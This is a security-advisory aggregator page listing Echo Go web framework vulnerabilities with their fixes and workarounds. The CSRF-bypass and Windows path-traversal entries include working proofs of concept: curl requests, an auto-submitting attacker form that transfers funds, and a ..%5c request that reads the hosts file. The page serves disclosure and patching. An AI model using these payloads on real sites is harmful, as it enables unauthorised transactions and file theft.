Fixed in github.com/labstack/echo/v5 v5.4.0 and github.com/labstack/echo/v4 v4.16.0. Context.JSONP and Context.JSONPBlob accept only a callback that is empty, a JavaScript identifier or a dot-separated path of identifiers (ASCII letters, digits, and $); any other callback returns a 400 Bad Request error wrapping ErrInvalidJSONPCallback and nothing is written. JSONP responses also carry X-Content-Type-Options: nosniff.

Workarounds

Validate the callback in your handler before calling Context.JSONP, for example against ^[A-Za-z$][A-Za-z0-9$](\.[A-Za-z$][A-Za-z0-9$])$, and set X-Content-Type-Options: nosniff. JSONP responses can be read by any website with the user's cookies, so do not serve data that requires authentication through JSONP.

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
CSRF
AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N

Summary

The MethodOverride middleware accepts any non-empty string as the override target method — including safe methods (GET, HEAD, OPTIONS, TRACE) — when rewriting a POST request. When MethodOverride is registered before CSRF in the post-routing middleware chain (e.Use()), it rewrites the request method to a safe method before CSRF evaluates it. The CSRF middleware then skips token validation for the now-safe method, allowing state-changing POST handlers to execute without any CSRF check. Both the legacy token path and the modern Sec-Fetch-Site protection path are bypassed simultaneously.

Affected Component

- middleware/methodoverride.go — MethodOverrideConfig.ToMiddleware() (lines 55–71): no whitelist on the override target method - middleware/csrf.go — CSRFConfig.ToMiddleware() (lines 188–189): safe-method bypass branch reads the already-rewritten method - middleware/csrf.go — checkSecFetchSiteRequest() (line 283): Sec-Fetch-Site safe check also reads the rewritten method

Description

MethodOverride accepts safe methods as override targets

MethodOverrideConfig.ToMiddleware() (methodoverride.go:55-71) restricts the source method (only POST requests are overrideable) but applies no whitelist to the target:

go // methodoverride.go:61-67 req := c.Request() if req.Method == http.MethodPost { m := config.Getter(c) if m != "" { req.Method = m // ← any non-empty string accepted, including "GET" } }

The docstring's security claim — "For security reasons, only POST method can be overridden" — refers only to the source-method restriction. There is no guard preventing POST from being rewritten to GET, HEAD, OPTIONS, or TRACE. The test suite (methodoverridetest.go) only tests POST→DELETE and POST→PUT; POST→GET is never tested or blocked.

CSRF safe-method branch reads the already-rewritten method

CSRFConfig.ToMiddleware() (csrf.go:188-189) makes its validation decision based on c.Request().Method at the time it runs:

go // csrf.go:188-189 switch c.Request().Method { case http.MethodGet, http.MethodHead, http.MethodOptions, http.MethodTrace: // skip validation — no token check default: // validate CSRF token

If MethodOverride has already run and set req.Method = "GET", this switch falls into the skip branch regardless of the original HTTP method or what handler was matched.

The Sec-Fetch-Site-based path in checkSecFetchSiteRequest() (csrf.go:283) is identically vulnerable:

go // csrf.go:283 isSafe := slices.Contains(safeMethods, c.Request().Method)

With req.Method = "GET" (already rewritten), isSafe = true and the function returns true — the request is allowed even when Sec-Fetch-Site is cross-site. Both CSRF protection paths are bypassed in a single step.

Execution chain

In echo.go:700, routing and middleware wrapping are performed in one step:

go h = applyMiddleware(e.router.Route(c), e.middleware...)

1. e.router.Route(c) evaluates with req.Method = "POST" → matches and binds the POST /transfer handler 2. applyMiddleware wraps it: MethodOverride → CSRF → postHandler

At request execution time: 3. MethodOverride runs: req.Method == "POST" → reads form field method = "GET" → req.Method = "GET" → calls next 4. CSRF runs: c.Request().Method = "GET" → case http.MethodGet → skips token validation → calls next 5. postHandler runs (the handler matched in step 1 — the original POST /transfer state-change handler)

The state-changing handler executes with no CSRF token validation and with no Sec-Fetch-Site check.

The missing target-method whitelist is the root cause

The legitimate use case for MethodOverride is allowing HTML forms (which only support GET/POST) to send PUT, DELETE, or PATCH requests. There is no legitimate scenario in which an HTML form needs to rewrite POST to GET — that can always be expressed as an ordinary GET request. Allowing POST→GET (and HEAD/OPTIONS/TRACE) serves no valid purpose and is inherently dangerous when any safe-method-aware security middleware (CSRF, logging, audit) appears downstream.

Proof of Concept

go package main

import ( "net/http" echo "github.com/labstack/echo/v5" "github.com/labstack/echo/v5/middleware" )

func main() { e := echo.New() // MethodOverride before CSRF — both in e.Use() (post-routing) e.Use(middleware.MethodOverrideWithConfig(middleware.MethodOverrideConfig{ Getter: middleware.MethodFromForm("method"), })) e.Use(middleware.CSRF()) e.POST("/transfer", func(c echo.Context) error { return c.String(http.StatusOK, "transfer executed") }) e.Logger.Fatal(e.Start(":18080")) }

bash Baseline — CSRF correctly blocks a POST without a valid token curl -i -X POST 'http://127.0.0.1:18080/transfer' \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data 'amount=100' HTTP/1.1 400 Bad Request (missing CSRF token)

Bypass — method=GET rewrites method before CSRF runs, skipping token validation curl -i -X POST 'http://127.0.0.1:18080/transfer' \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data 'method=GET&amount=100' HTTP/1.1 200 OK transfer executed

Browser-based CSRF PoC (attacker's page, auto-submits on load): <form method="POST" action="https://victim.example/transfer" id="f"> <input name="method" value="GET"> <input name="amount" value="1000"> <input name="to" value="attackeraccount"> </form> <script>document.getElementById('f').submit();</script>

The same bypass works with MethodFromHeader (X-HTTP-Method-Override: GET) and MethodFromQuery (?method=GET).

Impact

- Any state-changing endpoint protected by CSRF() is reachable without a valid CSRF token when the vulnerable middleware ordering is present - The Sec-Fetch-Site modern-browser CSRF protection is bypassed simultaneously — browsers that support Sec-Fetch-Site provide no additional defense - Applicable attacks include: fund transfers, password/email changes, account deletion, privilege escalation, data manipulation — any POST-protected operation - Audit logs may record GET as the HTTP method for what were actually state-changing operations

Recommended Remediation

Option 1: Whitelist only unsafe methods as override targets in MethodOverride (preferred)

The root cause is that MethodOverride accepts safe methods as targets. Restricting the override to legitimately overrideable methods (PUT, PATCH, DELETE) closes the bypass regardless of middleware ordering:

go // methodoverride.go — illustrative fix var allowedOverrideMethods = map[string]bool{ http.MethodPut: true, http.MethodPatch: true, http.MethodDelete: true, }

// in ToMiddleware: if req.Method == http.MethodPost { m := config.Getter(c) if m != "" && allowedOverrideMethods[m] { req.Method = m } }

Option 2: Use e.Pre() for MethodOverride and document the ordering requirement

Placing MethodOverride in e.Pre() (pre-routing middleware) causes the router to match the overridden method, not the original POST. If only POST /transfer is registered, a POST-to-GET override results in a 405/404 — the handler never executes. Add an explicit documentation warning that MethodOverride must not be placed in e.Use() when CSRF middleware is also registered:

go // MethodOverride returns a MethodOverride middleware. // // IMPORTANT: Register this middleware with e.Pre(), not e.Use(). // If registered with e.Use() before CSRF middleware, method rewriting // occurs after route matching but before CSRF validation, allowing // attackers to bypass CSRF token checks by specifying method=GET. func MethodOverride() echo.MiddlewareFunc {

Option 1 is strongly preferred as it closes the vulnerability at the source and is safe regardless of middleware placement.

Credit

This vulnerability was discovered and reported by bugbunny.ai.

Patches

Fixed in github.com/labstack/echo/v5 v5.4.0 and github.com/labstack/echo/v4 v4.16.0. The MethodOverride middleware no longer overrides a POST to GET, HEAD, OPTIONS, TRACE or CONNECT.

Workarounds

Register MethodOverride with Echo#Pre (as documented), register CSRF before MethodOverride, or use the default header getter (X-HTTP-Method-Override), which a cross-site form cannot set.

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Echo is a Go web framework. From 5.0.0 until 5.4.1, Echo v5's ExtractIPFromRealIPHeader validates whether the client-supplied X-Real-IP value belongs to a trusted range instead of validating the direct network peer. A client reaching Echo directly, or through a proxy that preserves the header, can supply a loopback or private address and have Context.RealIP return that spoofed identity. Applications using the extractor for IP allowlists, rate limiting, audit logs, or forwarding headers can consequently trust an attacker-controlled address; the default direct extractor and Echo v4 are unaffected. This issue is fixed in 5.4.1.

First published (updated )

Echo is a Go web framework. From 4.0.0 until 4.16.1 and 5.4.1, Echo's Proxy middleware selects a raw tunnel from a client WebSocket upgrade request before verifying that the configured upstream accepted the upgrade. If the upstream rejects the upgrade with an ordinary keep-alive response, later HTTP requests on the connection are sent directly to that upstream without passing through Echo's router or route-specific middleware. This can bypass authentication or authorization enforced only by Echo routes, but requires an accessible proxy route, a cooperating rejected-upgrade response, and a target without independent upstream authorization. This issue is fixed in 4.16.1 and 5.4.1.

First published (updated )

Echo is a Go web framework. From 4.0.0 until 4.16.1, Echo v4's opt-in Decompress middleware exposes a gzip-decoded request stream without limiting its expanded size. A small compressed request can expand into a very large body when a handler reads or binds it, consuming excessive memory or CPU and allowing repeated or concurrent requests to cause denial of service. The middleware is not enabled by default, and limiting only the compressed request size does not bound the decoded size. This issue is fixed in 4.16.1.

First published (updated )

Echo is a Go web framework. From 4.0.0 until 4.16.1, Echo v4's opt-in BodyDump middleware reads complete request bodies into memory before handlers run and retains complete response bodies for the dump callback without capture limits. An unauthenticated client that can reach a route using BodyDump can submit large bodies or influence large responses, causing repeated or concurrent allocations that exhaust process memory. BodyDump is not enabled by default, and external request limits may reduce request-side exposure but do not bound response capture. This issue is fixed in 4.16.1.

First published (updated )
Severity
5.3
EPSS
0.04%
Path Traversal
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Summary On Windows, Echo’s middleware.Static using the default filesystem allows path traversal via backslashes, enabling unauthenticated remote file read outside the static root.

Details

In middleware/static.go, the requested path is unescaped and normalized with path.Clean (URL semantics). path.Clean does not treat \ as a path separator, so ..\ sequences remain in the cleaned path. The resulting path is then passed to currentFS.Open(...). When the filesystem is left at the default (nil), Echo uses defaultFS which calls os.Open (echo.go:792). On Windows, os.Open treats \ as a path separator and resolves ..\, allowing traversal outside the static root.

Relevant code: - middleware/static.go (path unescape + path.Clean + currentFS.Open) - echo.go defaultFS.Open → os.Open

This is the same class as CVE-2020-36565 (fixed in v4 by switching to OS-aware cleaning), but in v5 the path.Clean + defaultFS combination reintroduces the Windows backslash traversal.

PoC Windows only.

Sample code (main.go): go package main

import ( "log" "net/http"

"github.com/labstack/echo/v5" "github.com/labstack/echo/v5/middleware" )

func main() { e := echo.New()

// Important: use middleware.Static with default filesystem (nil) e.Use(middleware.Static("public"))

e.GET("/healthz", func(c echo.Context) error { return c.String(http.StatusOK, "ok") })

addr := ":1323" log.Printf("listening on %s", addr) if err := e.Start(addr); err != nil && err != http.ErrServerClosed { log.Fatal(err) } } Static file:

public/index.html

(content can be any HTML)

Run: go run .

Verify:

curl http://localhost:1323/index.html curl --path-as-is "http://localhost:1323/..%5c..%5cWindows%5cSystem32%5cdrivers%5cetc%5chosts" Expected: 404

Screenshot: <img width="884" height="689" alt="image" src="https://github.com/user-attachments/assets/acb14d70-2a43-47c1-8927-2f3da491a853" /> <img width="1022" height="162" alt="image" src="https://github.com/user-attachments/assets/f2b92aa2-541e-461d-81a2-8a5907d7a447" />

### Impact Path traversal leading to arbitrary file read outside the static root. Any unauthenticated remote user can read local files that the Echo process has access to on Windows, if middleware.Static is used with the default filesystem.

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
Path Traversal
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Due to improper sanitization of user input on Windows, the static file handler allows for directory traversal, allowing an attacker to read files outside of the target directory that the server has permission to read.

First published (updated )
Severity
9.6
SSRF
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Labstack Echo v4.8.0 was discovered to contain an open redirect vulnerability via the Static Handler component. This vulnerability can be leveraged by attackers to cause a Server-Side Request Forgery (SSRF).

1 / 2
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203